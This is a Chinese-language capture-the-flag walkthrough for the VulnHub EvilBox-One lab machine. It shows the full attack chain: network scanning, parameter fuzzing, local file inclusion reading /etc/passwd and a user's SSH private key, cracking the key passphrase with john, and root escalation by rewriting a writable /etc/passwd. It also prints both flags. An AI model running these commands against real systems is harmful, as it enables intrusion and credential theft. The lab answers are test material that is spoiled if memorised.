靶机地址
https://download.vulnhub.com/evilbox/EvilBox—One.ova
目标
取得 root 权限 + 2 Flag
攻击方法
- 主机发现
- 网络扫描
- 强制访问
- 参数爆破
- 文件包含
php://filter 协议可以读取或写入文件 - PHP封装器
- 任意文件读取
- SSH公钥登录
- 离线密码破解
- 系统权限漏洞利用
工具
fping 目标发现 gobuster 文件路径扫描 ffuf 参数爆破
开始攻击
主机发现
 使用fping -gaq 192.168.168.0/24  使用sudo nmap -p- 192.168.168.20 端口发现  使用sudo nmap -p22,80 -A 192.168.168.20 扫描应用版本,操作系统版本等 -A=-sV±sC±O  访问robots.txt  使用gobuster 与dirsearch相似,但可做dns信息收集。 语句:gobuster dir -u http://192.168.168.20 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp -w 指定字典 -x 指定扫描文件类型   对子目录再进行爆破gobuster dir -u http://192.168.168.20/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp 发现evil.php文件。 
也是空白
参数爆破
使用ffuf 来参数爆破, 创建val.txt 文件将被作为参数值  ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w ./val.txt:VAL -u http://192.168.168.20/evil.php?PARAM=VAL -fs 0
-fs 0 指返回为空不显示
执行后发现  发现command参数,语句为ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.168.20/secret/evil.php?FUZZ=../index.html -fs 0  发现使用command 参数时可以执行命令 查看url发现是文件包含 
文件包含利用
已知可以文件包含那么可以获取敏感文件的内容,访问http://192.168.168.20/secret/evil.php?command=../../../../../etc/passwd  这样就可以在本机构造webshell,通过文件包含让他引用我们的webshell,让我们可以执行命令。即尝试远程文件包含。 访问本机确认服务启动成功  尝试远程文件包含:http://192.168.168.20/secret/evil.php?command=http://192.168.168.21/index.html 失败了,这样就需要尝试伪协议了。 这次我们使用php://filter 协议:http://192.168.168.20/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php 得到base64的文件内容。 
默认情况下php://filter 协议使用read方法读取文件,但其实php://filter 协议也可以写入文件。http://192.168.168.20/secret/evil.php?command=php://filter/write/convert.base64-decode/resource=test.php&txt=PD9waHAK 可惜执行失败
ssh爆破
复盘发现etc/passwd中存在用户mowree,猜测可能存在突破口。 使用ssh mowree@192.168.168.20 -v  发现可以使用公钥连接。 这样有几个方式:
- 可以先在自己的电脑上生成自己的公钥私钥对。发到目标机上。
- 找到目标用户在目标机上的公钥。
查看公钥访问:192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/authorized_keys 这是默认的ssh保存公钥的位置。  查看私钥访问:http://192.168.168.20/secret/evil.php?command=../../../../../home/mowree/.ssh/id_rsa 这是默认的ssh保存私钥的位置。  这样这个账号的公私钥都获得了,可以直接使用私钥进行登录。ssh mowree@192.168.168.20 -i id_rsa  再次失败  这样就需要ssh密码爆破 使用hashcat、john等工具进行爆破 使用john自带脚本。  使用./ssh2john.py ~/Desktop/id_rsa > ~/hash 将私钥转换可以看到生成了名为hash的文件
现在使用john ~/Desktop/hash --wordlist=rockyou.txt 进行爆破,得到私钥文件的密码为unicorn  成功登录  得到第一个flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ 
提权
现在开始提权。  首先找到所有具有执行权限的文件find / -perm /4000 2>/dev/null
-perm 文件的权限位正是模式(八进制或符号)。由于需要一个精确的匹配,如果您希望将此表单用于符号模式,那么可能必须规范化一个相当复杂的模式字符串。例如,‘-perm g = w’将只匹配模式为0020的文件(也就是说,组写权限是唯一的权限集)。更有可能的情况是,您希望使用‘/’或‘-’表单,例如‘-perm-g = w’,它与任何具有组写权限的文件匹配。请参阅示例部分以获得一些说明性示例。
2>/dev/null 将报错屏蔽
 发现没有什么可利用点,于是考虑找可写文件改写文件内容。find / -writable 2>/dev/null |grep -v proc|grep -v home|grep -v sys|grep -v run
grep -v xxx 过滤输出中含xxx的字段
 分析后发现我们对/etc/passwd 文件可写。
对etc/passwd文件利用
目前,linux系统将密码和账号分开存放,密码位于/etc/shadow,并使用x占位。  那么我们可以将x替换为密码,当x处为密码时则shadow文件不起作用。
生成密码的密文
使用openssl生成密码的密文openssl passwd -1 ,这里设置root的密码为toor。  如图提权成功,得到root文件下的第二个flag。 36QtXfdJWvdC0VavlPIApUbDlqTsBM 
|